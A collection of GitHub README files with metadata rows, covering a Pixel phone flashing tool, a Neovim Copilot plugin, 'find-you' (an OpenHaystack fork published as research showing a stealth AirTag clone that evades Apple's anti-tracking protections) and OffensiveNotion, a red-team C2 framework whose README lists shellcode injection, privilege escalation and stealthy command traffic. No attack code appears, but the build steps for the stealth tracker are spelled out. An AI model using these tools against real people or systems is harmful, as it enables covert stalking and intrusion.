- Android Pixel phone [factory image](https://developers.google.com/android/images) or Android Pixel phone [full OTA image](https://developers.google.com/android/ota).
- Bootloader unlocked phone (see excellent guide links in credits section below).
- On Windows: The latest [Google USB drivers](https://developer.android.com/studio/run/win-usb?authuser=1%2F) installed in adb and fastboot modes.
- On MacOS: [Allow USB Accessory to connect](https://support.apple.com/en-us/102282) (very important!).
- On Linux: [User needs to be added](https://developer.android.com/studio/run/device#setting-up) to `plugdev` group.
## Installation
PixelFlasher doesn't have to be installed, just double-click it and it'll start.
Check the [releases section](https://github.com/badabing2005/PixelFlasher/releases) for downloads.
### Supported platforms
- Windows
- MacOSX
- Linux (See [this](https://github.com/badabing2005/PixelFlasher/issues/23) if you're having issues with a Linux build.)
## Status
Scan the [list of open issues](https://github.com/badabing2005/PixelFlasher/issues) for bugs and pending features.
**Note**
This is my first wxPython based project. I got ideas and inspiration from [nodemcu-pyflasher](https://github.com/marcelstoer/nodemcu-pyflasher).
If you have constructive feedback as for how to improve the code please do reach out to me.
## Build it yourself
If you want to build this application yourself you need to:
**Setup**
- Download or clone the repository.
- Install [Python 3.x](https://www.python.org/downloads/) and [Pip](https://pip.pypa.io/en/stable/installing/) (it comes with Pythonโข if installed from `python.org`)
_See note below if building on MacOS._
- Install virtualenv `pip3 install virtualenv`
- Create a virtual environment with:
- On Windows: `virtualenv --python <PATH_TO_PYTHON_EXE> venv`
- On Linux / MacOS: `python3 -m venv venv`
- Activate the virtual environment with:
- On Windows: `.\venv\Scripts\activate`
- On Linux / MacOS: `. venv/bin/activate`
- Run `pip3 install -r requirements.txt`
**A note on Linux:** As described on the [downloads section of `wxPython`](https://www.wxpython.org/pages/downloads/), wheels for Linux are complicated and may require you to run something like this to install `wxPython` correctly:
```bash
# Assuming you are running it on Ubuntu 20.04 LTS with GTK3
pip install -U \
-f https://extras.wxpython.org/wxPython4/extras/linux/gtk3/ubuntu-20.04 \
wxPython
```
**A note on Windows**
If you run into troubles installing wxPython on Windows, you can download wxPython wheel file matching your version of Pythonโข from [here](https://wxpython.org/Phoenix/snapshot-builds/?C=M;O=D)
Look for `cp310` if your pythonโข version is 3.10
You install it with `pip`, for example this would be the command to install 3.10 version.
```bash
pip install wxPython-4.1.2a1.dev5308+2258f215-cp310-cp310-win_amd64.whl
```
**A Note on MacOS**
Don't install Pythonโข on MacOS, instead
`brew install wxpython`, this will install Pythonโข 3.9.12, the installed wxPython will only work with this version of Python.
If python 3.9.12 is not in the system path, you can find it here:
`/usr/local/Cellar/python@3.9/3.9.12/Frameworks/Python.framework/Versions/3.9/bin`
It is advised that you add this to your system `PATH`
On MacOS, you should also install `create-dmg`
```bash
brew install node graphicsmagick imagemagick
npm install --global create-dmg
```
**Build**
Run `build.bat` on Windows or `build.sh` on Linux / MacOS.
## Usage
### Basic Mode
1. First thing to do is select Androidโข Platform Tools, if Androidโข Platform Tools is already in your `PATH` environment, the application will detect it and pre-populate it.
Otherwise you'd have to select where it is installed.
You can download the latest Androidโข Platform Tools by clicking the  next to it.
If you have multiple versions, you can select another version, although it is best to always use the most recent version (The selected version will be identified and displayed.)
2. Hit the `Scan` button to detect connected devices, the application will detect all connected devices
(in adb, fastboot, sideload, recovery modes) and populate the combo box (2).
3. Select your device from the list in the combo box.
The following information about the connected device is displayed.
- (1st field) Rooted devices will be identified with a checkmark โ.
**Note:** If you want PixelFlasher to detect root, or automatically use Magisk to patch boot.img, you need to grant root permissions to `shell` in Magisk.
- (1st field) Non-Rooted devices will be identified with a โ.
- (1st field) Devices in fastboot mode will be identified with a ? (in fastboot mode, root status cannot be determined).
- (2nd field) (adb), (f.b), (sid) or (rec) to indicate connection mode adb / fastboot / sideload / recovery.
- (3rd field) Device ID.
- (4th field) Device hardware.
- (5th field) Current running firmware (in fastboot mode current firmware cannot be determined).
4. Next select the full OTA (recommended) or factory zip file (don't unzip), the application will recognize the phone model from the image name and validate the SHA-256 checksum.
You can download [factory images](https://developers.google.com/android/images) by clicking the  next to it.
You can download full OTA images from [here](https://developers.google.com/android/ota).
**Note:** Because both firmware package and full OTA are complete images, you can upgrade to any newer version without worrying about jumping versions (downgrades with factory image are possible only with wipe data).
5. Process the full OTA or factory image.
PixelFlasher will extract `boot.img` (or `init_boot.img` for Pixel 7 or newer devices) file from the image and populate it in the list below (5).
6. Select `boot.img` (or `init_boot.img` for Pixel 7 or newer devices) from the list, the selected file can be patched (6), or flashed (10).
7. Optional: Select this option if you want to patch the `boot.img` (or `init_boot.img` for Pixel 7 or newer devices) with Magisk. If Magisk is not already installed on your phone, PixelFlasher will install it for you.
Your phone does not need to be rooted to create a patched file.
This would be the typical choice for monthly updates.
This option will allow updating the phone without losing root (not even temporarily).
**Note:** See note above for granting root permissions to `shell`.
Whether the phone is rooted or not, the whole process is without any manual step.
8. If you want to flash (10) a patched `boot.img` (or `init_boot.img` for Pixel 7 or newer devices) select the newly added entry.
The following details are listed.
-  Indicates that the selection is patched.
- **SHA1** is (shortened for display only) sha1 of `boot.img` (or `init_boot.img` for Pixel 7 or newer devices)
- **Source SHA1** (shortened for display only) SHA1 of source `boot.img` extracted from the image (This should be the same as SHA1 of an unpatched `boot.img`)
- **Package Fingerprint** is just the filename portion of the image (without the extension).
- **Patched with Version** indicates the version of Magisk / KernelSU / Apatch used to patch the image (if applicable).
- **Patched Method** indicates what method PixelFlasher used to create a patch (possible options: `root`, `app`, `uiautomator`, `manual`)
- **Patched on Device** indicates the device model that performed the patching. You should always use patched images that match the model of the device that it will be flashed on.
- **Date** is the either the date the `boot.img` was extracted, or the date it was patched.
- **Package Path** indicates the file from which `boot.img` (or `init_boot.img` for Pixel 7 or newer devices) was extracted.
9. Select the Flash Mode, PixelFlasher will automatically select applicable flash mode based on the selected image type.
- If full OTA image is selected in step 4:
- **Full OTA**: Will flash full OTA image in sideload mode.
Features of this mode:
- This will always flash to **inactive slot only**, (hence why the option to flash to both slots is disabled) similar to how OTA updates happen on the phone.
- It will always be **Keep Data**, there is no option for **Wipe**, hence why the option is disabled.
- If something goes wrong during flashing, the active flash is unaffected and the phone boots back to active functional slot.
- If you flash to both slots (ie flash twice in a row) then both slots would be bootable.
- Your phone's bootloader does not have to be unlocked to be able to flash full OTA image (stock boot only).
- You cannot downgrade with OTA, the version being installed has to be equal or higher.
- If factory firmware is selected in step 4:
- **Keep Data**: In this mode `-w` flag is removed from the flash scripts so that data is not wiped. This is commonly known as `dirty flashing`.
- **WIPE all data**: As the text suggests, this will wipe your data, use it with caution!
If this mode is selected PixelFlasher will ask for confirmation during the flashing phase.
- **Dry Run**: In this mode, the phone will reboot to bootloader, and then mimic the flash actions (i.e. reboot into bootloader) without actually flashing anything (it prints to the console the steps it would have performed if dry run was not chosen).
This is handy for testing to check if the PixelFlasher properly is able to control fastboot commands.
10. Optional: Open Magisk Modules Manager and disable (uncheck) modules known to cause issues during upgrades (highly recommended). (The list below has never caused issues for me, so I keep them enabled YMMV).
11. **Flash Pixel Phone** This is the final step, to actually flash the phone in the selected `Flash Mode`.
**Note**: Unlike the previous versions of the PixelFlasher, all the options are dynamic, i.e. depending on what you select before clicking the Flash button, there is no more concept of prepared package.
PixelFlasher will first present you the selected options and ask for your confirmation if you want to proceed with flashing.
12. Monitor the **console** output and observe the performed actions and their outcomes.
13. In case of trouble, click on **Support** button to generate sanitized (redacted) support logs archive.
### Expert Mode
To enable the export mode use the **File Menu | Advanced Configuration** and select `Enable Advanced Options`
In this mode the following additional options are exposed (green bounding boxes), below notes are more for enumeration than a guide, as they should be trivial and obvious to an expert.
1. Option to Change the Active Slot (the inactive slot is automatically selected).
Options to reboot to Recovery, Download, Safe Mode.
2. Options to Lock / Unlock bootloader, Option to disable Magisk modules when bootlooping, partitions manager.
3. Apply Custom ROM. This replaces the factory ROM image with the selected file.
PixelFlasher extracts `boot.img` (or `init_boot.img` for Pixel 7 or newer devices) from the ROM image and displays below for selection or patching.
Please make sure to read the documentation of the chosen ROM, as each custom ROM instructions could be different.
To be clear, this is what PixelFlasher does internally when this mode is selected, please understand it, and don't use it if the selected ROM guide does not fit the bill.
You've been warned!
- Keeps stock bootloader and radio images.
- Replaces the stock ROM image with the selected custom ROM image.
- Flashes in the chosen `Flash Mode` just like a stock image, i.e. bootloader, custom ROM and radio images in the original order that they were in the stock firmware.
- Patching `boot.img` (or `init_boot.img` for Pixel 7 or newer devices) can be performed if the option is selected. You can select any of the listed files.
- Flash Mode is similar to basic flash mode described above in step 7.
4. Custom Flash. select this to switch from flashing a Factory Image to flashing a single file.
5. Browse to select a a valid image file (.img or .zip).
Or select a boot.img from the list above and click on the paste button to paste the selected boot.img into the file selection.
Choose the dropdown to select image type.
- boot (can be flashed to Live or boot) - Expected file type .img
- bootloader - Expected file type .img
- init_boot - Expected file type .img
- dtbo - Expected file type .img
- product - Expected file type .img
- radio - Expected file type .img
- recovery - Expected file type .img
- super_empty - Expected file type .img
- system - Expected file type .img
- system_ext - Expected file type .img
- system_other - Expected file type .img
- vbmeta - Expected file type .img
- vbmeta_system - Expected file type .img
- vbmeta_vendor - Expected file type .img
- vendor - Expected file type .img
- vendor_boot - Expected file type .img
- vendor_dlkm (the device will be put into fastbootd mode during this operation) - Expected file type .img
- image - Expected file type .zip
- SIDELOAD - Expected file type .zip
Select the appropriate flash options.
**Note:** For Tensor devices (Pixel 6 or newer devices) When `Flash to both slots` option is selected, Pixelflasher flashes each slot individually to overcome a Google bug that fails with the option `--slot=all`
## Credits
- First and foremost [Magisk](https://github.com/topjohnwu/Magisk/releases) by [John Wu](https://github.com/topjohnwu) which made rooting Pixelโข phones possible, without it none of this would have mattered.
- Big thanks to [[ryder203]](https://www.t-ryder.de/), [[t-ryder]](https://xdaforums.com/m/t-ryder.3705546/) for his valuable ideas, feedback and testing. Your contributions are very much appreciated.
- [[Homeboy76]](https://xdaforums.com/m/homeboy76.4810220/), [[v0latyle]](https://xdaforums.com/m/v0latyle.3690504/) and [[roirraW-edor-ehT]](https://xdaforums.com/m/roirraw-edor-eht.2560614/) at [xda](https://xdaforums.com/) for their excellent guides [[here](https://xdaforums.com/t/guide-november-6-2023-root-pixel-8-pro-unlock-bootloader-pass-safetynet-both-slots-bootable-more.4638510/#post-89128833/), [here](https://xdaforums.com/t/guide-pixel-6-oriole-unlock-bootloader-update-root-pass-safetynet.4356233/) and [here](https://xdaforums.com/t/november-6-2023-ud1a-231105-004-magisk-stable-v26-4-released-unlock-bootloader-root-pixel-8-pro-husky-safetynet.4633839/)] on Pixelโข series phones.
This program could not have been possible without their easy to follow guides.
I strongly encourage all beginners to follow those guides rather than use this program, it is important to understand the basic steps involved before diving into one click tools or advanced tasks.
- Marcel Stรถr's [nodemcu-pyflasher](https://github.com/marcelstoer/nodemcu-pyflasher) source code which jump started my introduction to [wxPython](https://www.wxpython.org/) and eventually this program.
- [wxPython Team](https://wxpython.org/) for their cross-platform GUI toolkit for Python.
- [JackMcKew](https://github.com/JackMcKew) for pyinstaller Github Actions.
- Endless counts of [xda](https://xdaforums.com/) members and their posts that tirelessly answer questions and share tools. Too many to enumerate.
- Artwork / graphics / icons, designed and supplied by: [[ryder203]](https://www.t-ryder.de/), [[t-ryder]](https://xdaforums.com/m/t-ryder.3705546/) based on [material-design-icons](https://github.com/google/material-design-icons/blob/master/LICENSE)
- vm03's [payload_dumper](https://github.com/vm03/payload_dumper) source code to extract images from payload.bin files.
## Troubleshooting
If you need support or assistance, please **generate and provide a support file** from within PixelFlasher.
You can hit that big Support button on the main screen, or select it from the Help menu.
The generated support.zip file is sanitized (redacted) to keep your sensitive information (username device id ...) private.
- If your anti-virus program is telling you that PixelFlasher is a malware, or you are concerned in any way, please check [this post](https://xdaforums.com/t/pixelflasher-a-gui-tool-for-flashing-updating-rooting-managing-pixel-phones.4415453/post-89090938) about false positives.
## Disclaimer
```text
********************************************************************************
PLEASE DO YOUR PART AND READ / SEARCH / RESEARCH BEFORE USING THIS PROGRAM
AND/OR ATTEMPTING ANY MODIFICATIONS ON YOUR DEVICE.
THIS PROGRAM ASSUMES THAT YOU ALREADY KNOW HOW TO AND HAVE ALREADY UNLOCKED
YOUR BOOTLOADER, ALREADY ROOTED YOUR DEVICE, AND KNOW HOW TO USE ANDROID SDK
PLATFORM-TOOLS, ETC.
THIS TOOL IS SIMPLY MY QUICK WAY OF UPDATING THE FIRMWARE WHILE ROOTED WITH
MAGISK, WITHOUT LOSING DATA / REQUIRING A WIPE.
MODIFYING YOUR DEVICE COMES WITH INHERENT RISKS, AND IT'S NOT MY RESPONSIBILITY
IF YOU LOSE YOUR DATA OR BRICK YOUR DEVICE. THE TOOL I SHARE HAVE WORKED FOR ME,
BUT THAT DOESN'T MEAN THAT YOU MAY NOT RUN INTO PROBLEMS. **BACKUP YOUR DATA.**
********************************************************************************
```
| Pixelโข phone flashing GUI utility with features. | python,wxpython,windows,root,flash,pyinstaller,pixel,rom,adb,android | 84 | 7 | 15 | 313 | 3 | 3 | 10 |
zbirenbaum/copilot-cmp | # copilot-cmp
This repository transforms https://github.com/zbirenbaum/copilot.lua into a cmp source.
Copilot suggestions will automatically be loaded into your cmp menu as snippets and display their full contents when a copilot suggestion is hovered.
## Setup
If you already have copilot.lua installed, you can install this plugin with packer as you would any other with the following code:
### Install
#### Lazy
```lua
{
"zbirenbaum/copilot-cmp",
config = function ()
require("copilot_cmp").setup()
end
}
```
#### Packer
```lua
use {
"zbirenbaum/copilot-cmp",
after = { "copilot.lua" },
config = function ()
require("copilot_cmp").setup()
end
}
```
If you do not have copilot.lua installed, go to https://github.com/zbirenbaum/copilot.lua and follow the instructions there before installing this one
It is recommended to disable copilot.lua's suggestion and panel modules, as they can interfere with completions properly appearing in copilot-cmp. To do so, simply place the following in your copilot.lua config:
```lua
require("copilot").setup({
suggestion = { enabled = false },
panel = { enabled = false },
})
```
### Configuration:
#### nvim-cmp:
##### Source Definition
To link cmp with this source, simply go into your cmp configuration file and include `{ name = "copilot" }` under your sources
Here is an example of what it should look like:
```lua
cmp.setup {
...
sources = {
-- Copilot Source
{ name = "copilot", group_index = 2 },
-- Other Sources
{ name = "nvim_lsp", group_index = 2 },
{ name = "path", group_index = 2 },
{ name = "luasnip", group_index = 2 },
},
...
}
```
##### Highlighting & Icon
Copilot's cmp source now has a builtin highlight group `CmpItemKindCopilot`. To add an icon to copilot for lspkind, simply add copilot to your lspkind symbol map.
```lua
-- lspkind.lua
local lspkind = require("lspkind")
lspkind.init({
symbol_map = {
Copilot = "๏",
},
})
vim.api.nvim_set_hl(0, "CmpItemKindCopilot", {fg ="#6CC644"})
```
Alternatively, you can add Copilot to the lspkind `symbol_map` within the cmp format function.
```lua
-- cmp.lua
cmp.setup {
...
formatting = {
format = lspkind.cmp_format({
mode = "symbol",
max_width = 50,
symbol_map = { Copilot = "๏" }
})
}
...
}
```
If you do not use lspkind, simply add the custom icon however you normally handle `kind` formatting and it will integrate as if it was any other normal lsp completion kind.
##### Tab Completion Configuration (Highly Recommended)
Unlike other completion sources, copilot can use other lines above or below an empty line to provide a completion. This can cause problematic for individuals that select menu entries with `<TAB>`. This behavior is configurable via cmp's config and the following code will make it so that the menu still appears normally, but tab will fallback to indenting unless a non-whitespace character has actually been typed.
```lua
local has_words_before = function()
if vim.api.nvim_buf_get_option(0, "buftype") == "prompt" then return false end
local line, col = unpack(vim.api.nvim_win_get_cursor(0))
return col ~= 0 and vim.api.nvim_buf_get_text(0, line-1, 0, line-1, col, {})[1]:match("^%s*$") == nil
end
cmp.setup({
mapping = {
["<Tab>"] = vim.schedule_wrap(function(fallback)
if cmp.visible() and has_words_before() then
cmp.select_next_item({ behavior = cmp.SelectBehavior.Select })
else
fallback()
end
end),
},
})
```
##### Comparators
One custom comparitor for sorting cmp entries is provided: `prioritize`. The `prioritize` comparitor causes copilot entries to appear higher in the cmp menu. It is recommended keeping priority weight at 2, or placing the `exact` comparitor above copilot so that better lsp matches are not stuck below poor copilot matches.
Example:
```lua
cmp.setup {
...
sorting = {
priority_weight = 2,
comparators = {
require("copilot_cmp.comparators").prioritize,
-- Below is the default comparitor list and order for nvim-cmp
cmp.config.compare.offset,
-- cmp.config.compare.scopes, --this is commented in nvim-cmp too
cmp.config.compare.exact,
cmp.config.compare.score,
cmp.config.compare.recently_used,
cmp.config.compare.locality,
cmp.config.compare.kind,
cmp.config.compare.sort_text,
cmp.config.compare.length,
cmp.config.compare.order,
},
},
...
}
```
#### copilot-cmp:
Note: It is now **heavily** discouraged to modify the default settings unless an issue gives you good reason to do so.
The configurable options for this plugin are as follows:
```lua
{
event = { "InsertEnter", "LspAttach" },
fix_pairs = true,
}
```
##### event
The event parameter configures when the source is registered. Unless you have a unique problem for your particular configuration you probably don't want to touch this.
##### fix_pairs
Suppose you have the following code:
`print('h')`
Copilot might try to account for the `'` and `)` and complete it with this:
`print('hello`
This is not good behavior for consistency reasons and will just end up deleting the two ending characters. This option fixes that. Don't turn this off unless you are having problems with pairs and believe this might be causing them.
| Lua plugin to turn github copilot into a cmp source | copilot,lua,neovim,nvim-cmp,github-copilot | 0 | 14 | 25 | 91 | 12 | 14 | 0 |
positive-security/find-you | # Find You
A modified version of OpenHaystack to showcase the possibility of building a stealth AirTag clone that bypasses all of Apple's tracking protection features.
More information can be found here: [https://positive.security/blog/find-you](https://positive.security/blog/find-you)
**Please note:** The below mentioned `generate_keypairs.py` has been purposefully left out of this repository and as an exercise for the reader.
## Changes
### Tracker side
- Added a python script (not included in this release as noted above) that pregenerates EC key pairs and generates:
- A list of public keys in C source code format to add to the firmware
- A list of private keys as an OpenHaystack-compatible `.plist` file to import in the retrieval application
- Added support to iterate over a preloaded list of public keys with 1 beacon per key and a configurable delay
### Retrieval side
- Optimized the application to be able to handle thousands of tags
- Combined public keys to request across different tags into a single HTTP request
- Slightly optimized quadratic complexity when assigning decrypted reports to accessories
- Removed keychain operations (the app will always start without any tags configured)
## Instructions
1. Run `generate_keypairs.py` with the number of keypairs to generate as argument (e.g. `python3 generate_keypairs.py 2000`)
2. Copy the array definition in `pub_keys_c.txt` into `Firmware/ESP32/main/openhaystack_main.c` (if desired, also change the delay time between beacons)
3. Compile firmware and flash ESP32
4. Compile and run the macOS retrieval application and import `accessory_list.plist` (generated in step #1)
# <img src="Resources/Icon/OpenHaystackIcon.png" alt="OpenHaystack application icon" height=42 width=42 valign=bottom /> OpenHaystack
OpenHaystack is a framework for tracking personal Bluetooth devices via Apple's massive Find My network. Use it to create your own tracking _tags_ that you can append to physical objects (keyrings, backpacks, ...) or integrate it into other Bluetooth-capable devices such as notebooks.
<img src="Resources/OpenHaystack-Screenshot.png" alt="Screenshot of the app" width="701" />
## Table of contents
- [What is _OpenHaystack_?](#what-is-openhaystack)
- [History](#history)
- [Disclaimer](#disclaimer)
- [How to use _OpenHaystack_?](#how-to-use-openhaystack)
- [System requirements](#system-requirements)
- [Installation](#installation)
- [Usage](#usage)
- [How does Apple's Find My network work?](#how-does-apples-find-my-network-work)
- [Pairing](#pairing-1)
- [Losing](#losing-2)
- [Finding](#finding-3)
- [Searching](#searching-4)
- [How to track other Bluetooth devices?](#how-to-track-other-bluetooth-devices)
- [Authors](#authors)
- [References](#references)
- [License](#license)
## What is _OpenHaystack_?
OpenHaystack is an application that allows you to create your own accessories that are tracked by Apple's [Find My network](#how-does-apples-find-my-network-work). All you need is a Mac and a [BBC micro:bit](https://microbit.org/) or any [other Bluetooth-capable device](#how-to-track-other-bluetooth-devices).
By using the app, you can track your accessories anywhere on earth without cellular coverage. Nearby iPhones will discover your accessories and upload their location to Apple's servers when they have a network connection.
### History
OpenHaystack is the result of reverse-engineering and security analysis work of Apple's _Find My network_ (or _offline finding_). We at the [Secure Mobile Networking Lab](https://seemoo.de) of TU Darmstadt started analyzing offline finding after its initial announcement in June 2019. We identified how Apple devices can be found by iPhones devices, even when they are offline through this work. The whole system is a clever combination of Bluetooth advertisements, public-key cryptography, and a central database of encrypted location reports. We disclosed a specification of the closed parts of offline finding and conducted a comprehensive security and privacy analysis.
We found two distinct vulnerabilities. The most severe one, which allowed a malicious application to access location data, has meanwhile been fixed by Apple ([CVE-2020-9986](https://support.apple.com/en-us/HT211849)).
For more information about the security analysis, please read [our paper](#references).
Since its release, we received quite a bit of [press and media coverage](https://owlink.org/press/).
### Disclaimer
OpenHaystack is experimental software. The code is untested and incomplete. For example, OpenHaystack accessories using our [firmware](Firmware) broadcast a fixed public key and, therefore, are trackable by other devices in proximity (this might change in a future release). OpenHaystack is not affiliated with or endorsed by Apple Inc.
## How to use _OpenHaystack_?
OpenHaystack consists of two components. First, we provide a [macOS application](OpenHaystack) that can display the last reported location of your personal Bluetooth devices. Second, the [firmware image](Firmware) enables Bluetooth devices to broadcast beacons that make them discoverable by iPhones.
### System requirements
OpenHaystack requires macOS 11 (Big Sur).
### Installation
The OpenHaystack application requires a custom plugin for Apple Mail. It is used to download location reports from Apple's servers via a private API (technical explanation: the plugin inherits Apple Mail's entitlements required to use this API).
Therefore, the installation procedure is slightly different and requires you to temporarily disable [Gatekeeper](https://support.apple.com/guide/security/gatekeeper-and-runtime-protection-sec5599b66df/1/web/1).
Our plugin does not access any other private data such as emails (see [source code](OpenHaystack/OpenHaystackMail)).
1. Download a precompiled binary release from our <a href="https://github.com/seemoo-lab/openhaystack/releases">GitHub page</a>.
_Alternative:_ build the application from source via Xcode.
2. Open OpenHaystack. This will ask you to install the Mail plugin in `~/Library/Mail/Bundle`.
3. Open a terminal and run `sudo spctl --master-disable`, which will disable Gatekeeper and allow our Apple Mail plugin to run.
4. Open Apple Mail. Go to _Preferences_ โ _General_ โ _Manage Plug-Ins..._ and activate the checkbox next to _OpenHaystackMail.mailbundle_.
* If the _Manage Plug-Ins..._ button does not appear. Run this command in terminal `sudo defaults write "/Library/Preferences/com.apple.mail" EnableBundles 1`
5. Allow access and restart Mail.
6. Open a terminal and enter `sudo spctl --master-enable`, which will enable Gatekeeper again.
### Usage
**Adding a new accessory.**
To create a new accessory, you just need to enter a name for it and optionally select a suitable icon and a color. The app then generates a new key pair that is used to encrypt and decrypt the location reports. The private key is stored in your Mac's keychain.
**Deploy to device.**
Connect a [supported device](#how-to-track-other-bluetooth-devices) via USB to your Mac and hit the _Deploy_ button next to the accessory's name and choose the corresponding.
Instead of using OpenHaystack's integrated deployment, you may also copy the public key used for advertising (right click on accessory) and deploy it manually.
**Display devices' locations.**
It can take up to 30 minutes until you will see the first location report on the map on the right side. The map will always show all your items' most recent locations. You can click on every item to check when the last update was received.
By clicking the reload button, you can update the location reports.
## How does Apple's Find My network work?
We briefly explain Apple's offline finding system (aka [_Find My network_](https://developer.apple.com/find-my/)). Please refer to our [PETS paper and Apple's accessory specification](#references) for more details. We provide a schematic overview (from our paper) and explain how we integrate the different steps in OpenHaystack below.
### Pairing (1)
To use Apple's Find My network, we generate a public-private key pair on an elliptic curve (P-224). The private key remains on the Mac securely stored in the keychain, and the public key is deployed on the accessory, e.g., an attached micro:bit.
### Losing (2)
In short, the accessories broadcast the public key as Bluetooth Low Energy (BLE) advertisements (see [firmware](Firmware)).
Nearby iPhones will not be able to distinguish our accessories from a genuine Apple device or certified accessory.
### Finding (3)
When a nearby iPhone receives a BLE advertisement, the iPhone fetches its current location via GPS, encrypts it using public key from the advertisement, and uploads the encrypted report to Apple's server.
All iPhones on iOS 13 or newer do this by default. OpenHaystack is not involved in this step.
### Searching (4)
Apple does not know which encrypted locations belong to which Apple account or device. Therefore, every Apple user can download any location report as long as they know the corresponding public key. This is not a security issue: all reports are end-to-end encrypted and cannot be decrypted unless one knows the corresponding private key (stored in the keychain). We leverage this feature to download the reports from Apple that have been created for our OpenHaystack accessories. We use our private keys to decrypt the location reports and show the most recent one on the map.
Apple protects their database against arbitrary access by requiring an authenticated Apple user to download location reports.
We use our Apple Mail plugin, which runs with elevated privileges, to access the required authentication information. The OpenHaystack app communicates with the plugin while downloading reports. This is why you need to keep Mail open while using OpenHaystack.
## How to track other Bluetooth devices?
In principle, any Bluetooth device can be turned into an OpenHaystack accessory that is trackable via Apple's Find My network.
Currently, we provide a convenient deployment method of our OpenHaystack firmwares for a small number of embedded devices (see table below). We also support Linux devices via our generic HCI script.
Feel free to port OpenHaystack to other devices that support Bluetooth Low Energy based on the [source code of our firmware](Firmware) and the specification in [our paper](#references). Please share your results with us!
| Platform | Tested on | Deploy via app | Comment |
|----------|-----------|:--------------:|---------|
| [Nordic nRF51](Firmware/Microbit_v1) | BBC micro:bit v1 | โ | Only supports nRF51822 at this time (see issue #6). |
| [Espressif ESP32](Firmware/ESP32) | SP32-WROOM, ESP32-WROVER | โ | Deployment can take up to 3 minutes. Requires Python 3. Thanks **@fhessel**. |
| [Linux HCI](Firmware/Linux_HCI) | Raspberry Pi 4 w/ Raspbian | | Should support any Linux machine. |
## Authors
- **Alexander Heinrich** ([@Sn0wfreezeDev](https://github.com/Sn0wfreezeDev), [email](mailto:aheinrich@seemoo.tu-darmstadt.de))
- **Milan Stute** ([@schmittner](https://github.com/schmittner), [email](mailto:mstute@seemoo.tu-darmstadt.de), [web](https://seemoo.de/mstute))
## References
- Alexander Heinrich, Milan Stute, Tim Kornhuber, Matthias Hollick. **Who Can _Find My_ Devices? Security and Privacy of Apple's Crowd-Sourced Bluetooth Location Tracking System.** _Proceedings on Privacy Enhancing Technologies (PoPETs)_, 2021. [doi:10.2478/popets-2021-0045](https://doi.org/10.2478/popets-2021-0045) [๐ Paper](https://www.petsymposium.org/2021/files/papers/issue3/popets-2021-0045.pdf) [๐ Preprint](https://arxiv.org/abs/2103.02282).
- Alexander Heinrich, Milan Stute, and Matthias Hollick. **DEMO: OpenHaystack: A Framework for Tracking Personal Bluetooth Devices via Appleโs Massive Find My Network.** _14th ACM Conference on Security and Privacy in Wireless and Mobile (WiSec โ21)_, 2021.
- Tim Kornhuber. **Analysis of Apple's Crowd-Sourced Location Tracking System.** _Technical University of Darmstadt_, Master's thesis, 2020.
- Apple Inc. **Find My Network Accessory Specification โ Developer Preview โ Release R3.** 2020. [๐ Download](https://developer.apple.com/find-my/).
## License
OpenHaystack and Find You is licensed under the [**GNU Affero General Public License v3.0**](LICENSE).
| A stealth AirTag clone that bypasses all of Apple's tracking protection features | null | 0 | 1 | 1 | 1 | 4 | 1 | 5 |
mttaggart/OffensiveNotion | <h1 align="center">
OffensiveNotion
</h1>
<h3 align="center"> Notion (yes, the notetaking app) as a C2.</h3>
<div align="center">
---
A collaboration by:
[](https://twitter.com/mttaggart) [](https://twitter.com/huskyhacksmk)
---
[Documentation][wiki] | [Pull Requests][pr] | [Issues][issues]
![Release][release] [![Pull Requests][img-pr-badge]][pr] [![License][img-license-badge]][license]
</div>
---
### Wait, What?
Yes.
### But Why?
What started as a meme grew into a full project. Just roll with it.
### Read more!
Here's our blog post about it: [We Put A C2 In Your Notetaking App: OffensiveNotion](https://medium.com/@huskyhacks.mk/we-put-a-c2-in-your-notetaking-app-offensivenotion-3e933bace332)
## Features
* ๐ก A full-featured C2 platform built on the Notion notetaking app.
* ๐ง Easy setup: set up your Notion developer API account, drop the Agent to the target, run and enjoy!
* ๐ฅ๏ธ Cross-platform agent built in Rust that compiles for Linux, Windows, and macOS with the same code base. Includes a Python setup/controller script to simplify the process.
* โข๏ธ A range of capabilities including port-scanning, privilege escalation, asynchronous command execution, file download, and shellcode injection, all controlled from the comfort of a Notion page!
* ๐ Document as you go! The agent identifies special syntax to run commands, so feel free to use the rest of the Notion page to document your operation.
* ๐ค Collaborative by design! Notion allows for multiple people to edit and view your notes. Your listener page can handle multiple agents and you can invite your red team friends to your page. Congratulations, that's a teamserver!
* ๐ฑMobile C2! Use the Notion application from your mobile device to issue commands to your agents from anywhere in the world.
* ๐ต๏ธโโ๏ธ Stealth! C2 comms ride over the Notion API natively. Your C2 traffic looks like someone is using Notion for its intended purpose.
## Quickstart
See the [Quickstart guide](https://github.com/mttaggart/OffensiveNotion/wiki/2.-Quickstart) on how to get going right away!
## Documentation
Please see the [Wiki][wiki] for setup, usage, commands, and more!
## Thanks & Acknowledgements
> This project has been a blast for me! I learned a ton about Rust and how the mechanics of a C2 work. So thank you to my co-creator @mttaggart for helping me along the way. None of this would have been possible without your technical acumen and creativity.
>
>Thank you to Joe Helle (@joehelle) for the POC steps for the fodhelper UAC bypass.
>
>Thank you to all of the great red team devs who came before me, too numerous to list them all, who have created some of my favorite tools. Iโm continually inspired by the red dev innovation in our field.
>
>-Husky
>
> As a fairly new security person, I had no idea I'd end up working with such a fantastically talented, kind, and reliable partner and hacker as @HuskyHacks. It's been a true privilege to build this alongside him.
>
> I want to thank the [Taggart Tech](https://twitch.tv/mttaggart) community for supporting us along the way and always offering helpful feedback. This would not be possible without you all.
>
>-Taggart
## Contributors
The dev team would like to thank the following contributors for their work on OffensiveNotion:
| Contributor | Contribution |
| ----------- | ------------ |
| [@MEhrn00](https://github.com/MEhrn00) | Execution guardrails for domain name/joined status ๐ |
| [@hitcxy](https://github.com/hitcxy) | Improved shell encoding ๐ |
---
| Legend |
| ------ |
| ๐ - Issue/PR submitted and code landed |
|๐ก - Cool ideas |
|๐ค - Consultation/Inspiration |
| ๐- Bug submission/fix |
## Disclaimer
There is no way to make an offensive security relevant research tool and release it open source without the possibility of it falling into the wrong hands. This tool is only to be used for legal, ethical purposes including, but not limited to, research, security assessment, education. The dev team is not responsible for the misuse of this tool by anyone if used for illegal/unethical purposes. No animals were harmed in the making of this code base (although Cosmo keeps climbing on my keyboard and I have to put him over on the couch, which I'm sure must feel like torture to him).
See the LICENSE for more details.
<!--
Links
-->
[issues]:https://github.com/mttaggart/OffensiveNotion/issues "OffensiveNotion Issues โถ"
[wiki]:https://github.com/mttaggart/OffensiveNotion/wiki "OffensiveNotion Documentation โถ"
